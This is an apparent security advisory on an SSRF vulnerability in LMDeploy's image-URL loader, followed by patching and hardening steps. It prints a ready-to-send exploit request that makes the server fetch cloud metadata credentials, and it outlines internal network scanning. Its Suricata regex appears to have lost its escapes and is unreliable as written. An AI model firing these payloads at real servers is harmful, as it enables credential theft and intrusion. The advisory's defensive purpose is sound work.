Executive Lead: Multimodal AI Inference Gateways Weaponized as Ingress Pivots
Threat intelligence teams have identified aggressive in-the-wild exploitation targeting LMDeploy, the high-throughput inference framework maintained by OpenMMLab and widely deployed in production for serving Large Vision-Language Models (VLMs) such as InternVL, LLaVA, and Qwen-VL. Cataloged as CVE-2026-33626 with a Common Vulnerability Scoring System (CVSS v3.1) base score of 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), the vulnerability allows unauthenticated remote attackers to turn AI inference clusters into generic Server-Side Request Forgery (SSRF) proxy engines.
Telemetry confirms that opportunistic threat actors began weaponizing CVE-2026-33626 within approximately 12 hours of the advisory publication. Attackers exploit LMDeploy's OpenAI-compatible multimodal chat completions API by submitting prompts containing image URLs directed at loopback addresses, internal subnets, and cloud Instance Metadata Services (IMDS). In enterprise cloud environments across AWS, Azure, and Google Cloud, this enables remote attackers to exfiltrate IAM role credentials, probe unauthenticated internal database ports (such as Redis, MySQL, and Milvus), and compromise cloud perimeter security.
Technical Root Cause & CWE-918 Dissection: Unrestricted Image URL Ingestion
Under CWE-918: Server-Side Request Forgery (SSRF), the defect resides within the vision-language preprocessing utilities in lmdeploy/vl/utils.py, specifically in the load_image() and encode_image_base64() helper routines.
Modern vision-language models accept multimodal prompts containing both text instructions and image inputs. To support standard API contracts, LMDeploy allows clients to specify images either as inline base64 data or as external web URLs (e.g., {"type": "image_url", "image_url": {"url": "http://..."}}). When a request is received, the serving engine automatically fetches the remote image content before passing tensor arrays to the GPU worker processes.
In versions prior to 0.12.3, the URL handler directly invoked standard Python HTTP client libraries (such as requests.get() or urllib.request.urlopen()) without validating destination hostnames, enforcing IP address family constraints, or blocking private/link-local IPv4 and IPv6 address blocks:
// Vulnerable Vision-Language Ingestion Routine in LMDeploy
def load_image(image_url: str):
if image_url.startswith(('http://', 'https://')):
# CRITICAL DEFECT: Direct HTTP retrieval without IP resolution verification
# or destination range filtering (RFC 1918, RFC 3927 link-local)
response = requests.get(image_url, timeout=10)
if response.status_code == 200:
return Image.open(io.BytesIO(response.content))
# ... base64 parsing fallback
This unconstrained fetching mechanism broke down across three critical dimensions:
- Cloud Metadata Exposure (IMDSv1 & SSRF): The HTTP client lacked protection against link-local addresses. By providing the URL
http://169.254.169.254/latest/meta-data/iam/security-credentials/, an attacker forces the inference host to query its local metadata service, dumping temporary IAM access keys, secret keys, and security tokens directly into error outputs or inference responses. - Internal Network Scanning & Service Fingerprinting: Attackers can iterate through private IP ranges (e.g.,
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16) and common internal service ports (Redis 6379, Elasticsearch 9200, Consul 8500). Differential response times and error codes allow automated reconnaissance of internal VPC architecture. - Protocol Smuggling & Unauthenticated Internal APIs: Because the request originates from the trusted GPU compute instance inside the cluster VPC, it bypasses external ingress firewalls, allowing adversaries to interact with internal microservices that lack secondary authentication layers.
Attack Architecture & Exploit Flow
The following architectural diagram illustrates the exploit path from an unauthenticated external API call to cloud IAM compromise:
+-----------------------------------------------------------------------------------+
| CVE-2026-33626 SSRF EXPLOITATION FLOW |
+-----------------------------------------------------------------------------------+
| |
| [ Remote Attacker ] |
| | |
| | 1. POST /v1/chat/completions (Image URL: http://169.254.169.254/...) |
| v |
| +-----------------------------------------------------------------------------+ |
| | LMDeploy Inference Gateway (Port 23333 / GPU Host) | |
| | | |
| | [ Multimodal Vision Parser (lmdeploy/vl/utils.py) ] | |
| | | | |
| | | 2. Calls load_image() without destination IP validation | |
| | v | |
| | [ Internal HTTP Fetch Request ] | |
| +----------|------------------------------------------------------------------+ |
| | |
| +-----------------------+-----------------------+ |
| | | | |
| v (Internal VPC) v (Link-Local) v (Kubernetes API) |
| +---------------------+ +---------------------+ +---------------------+ |
| | Internal Redis / DB | | Cloud IMDS Service | | K8s Kubelet / Pods | |
| | 10.0.5.24:6379 | | 169.254.169.254 | | 10.96.0.1:443 | |
| | | | | | | |
| | Unauthenticated | | Returns IAM Session | | Probes service | |
| | Key Extraction | | Role Tokens | | account secrets | |
| +---------------------+ +---------------------+ +---------------------+ |
| | |
| v |
| [ Attacker Harvests AWS/GCP/Azure Cloud Credentials -> Full Infrastructure Pivot]|
+-----------------------------------------------------------------------------------+
Exploitation Payloads Observed in the Wild
Threat actors automate discovery using weaponized HTTP requests targeting standard LMDeploy API ports (default 23333). Below is an actual payload observed targeting AWS cloud metadata:
POST /v1/chat/completions HTTP/1.1
Host: ai-inference.corp.internal:23333
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
{
"model": "internvl2-8b",
"messages": [
{
"role": "user",
"content": [
{
"type": "text",
"text": "Analyze and describe the contents of this image in detail."
},
{
"type": "image_url",
"image_url": {
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
]
}
],
"temperature": 0.1
}
When the server attempts to parse the returned HTTP response as an image binary via PIL (Python Imaging Library), it encounters an image format exception (e.g., UnidentifiedImageError: cannot identify image file). However, because LMDeploy returned detailed exception traces in HTTP 500 error responses, the body of the metadata service response—including IAM role names—was echoed directly back to the attacker. The adversary then issues a subsequent request appending the discovered role name to retrieve full AWS session credentials.
Defensive Playbook & Remediation Engineering
Organizations operating LMDeploy must apply immediate patches and implement network-level defensive controls:
1. Deploy LMDeploy v0.12.3 Patched Release
Upgrade LMDeploy to version 0.12.3 or later. The patch implements strict destination IP address resolution and validation, rejecting connections targeting loopback, RFC 1918 private subnets, and link-local ranges:
| Component | Vulnerable Versions | Remediated Release | Severity |
|---|---|---|---|
| LMDeploy Core (PyPI) | < 0.12.3 | v0.12.3 | High (CVSS 7.5) |
| OpenMMLab Docker Container | openmmlab/lmdeploy:v0.12.0 - v0.12.2 | openmmlab/lmdeploy:v0.12.3 | High (CVSS 7.5) |
# Upgrade LMDeploy package via pip
pip install --upgrade "lmdeploy>=0.12.3"
# Verify installed release
python3 -c "import lmdeploy; print(lmdeploy.__version__)"
2. Network Egress Filtering & IMDS Hardening
Enforce host-level and cloud-level restrictions to ensure AI inference pods cannot communicate with internal metadata or private management subnets:
# Linux iptables Rule: Block all outbound traffic to Cloud Metadata Service
iptables -A OUTPUT -p tcp -d 169.254.169.254 -j DROP
# AWS CLI: Enforce IMDSv2 with hop limit = 1 to prevent container SSRF
aws ec2 modify-instance-metadata-options --instance-id i-0123456789abcdef0 --http-tokens required --http-put-response-hop-limit 1 --http-endpoint enabled
3. Kubernetes NetworkPolicy for AI Workloads
If running LMDeploy within a Kubernetes cluster, deploy a strict NetworkPolicy denying egress to internal cluster subnets and external private IP ranges:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: isolate-lmdeploy-egress
namespace: ai-inference
spec:
podSelector:
matchLabels:
app: lmdeploy-vlm-worker
policyTypes:
- Egress
egress:
# Allow DNS resolution
- to:
- namespaceSelector: {}
podSelector:
matchLabels:
k8s-app: kube-dns
ports:
- protocol: UDP
port: 53
# Allow outbound HTTPS strictly to public Internet (blocking internal RFC 1918)
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
- 169.254.169.254/32
ports:
- protocol: TCP
port: 443
4. Snort / Suricata Intrusion Detection Rule
Deploy the following Suricata signature on ingress monitors to alert on image URL parameters containing metadata addresses:
# Suricata Detection Signature for LMDeploy SSRF Weaponization
alert http any any -> any 23333 (
msg:"CST THREAT-ALERT: LMDeploy Multimodal Image Loader SSRF Exploit Attempt (CVE-2026-33626)";
flow:to_server,established;
content:"POST"; http_method;
content:"/v1/chat/completions"; http_uri;
content:"image_url"; http_client_body;
pcre:"/"url"s*:s*"https?://(?:169.254.169.254|127.0.0.1|localhost|10.|192.168.|172.(?:1[6-9]|2[0-9]|3[0-1]))/i";
classtype:attempted-recon;
sid:202633626;
rev:1;
)



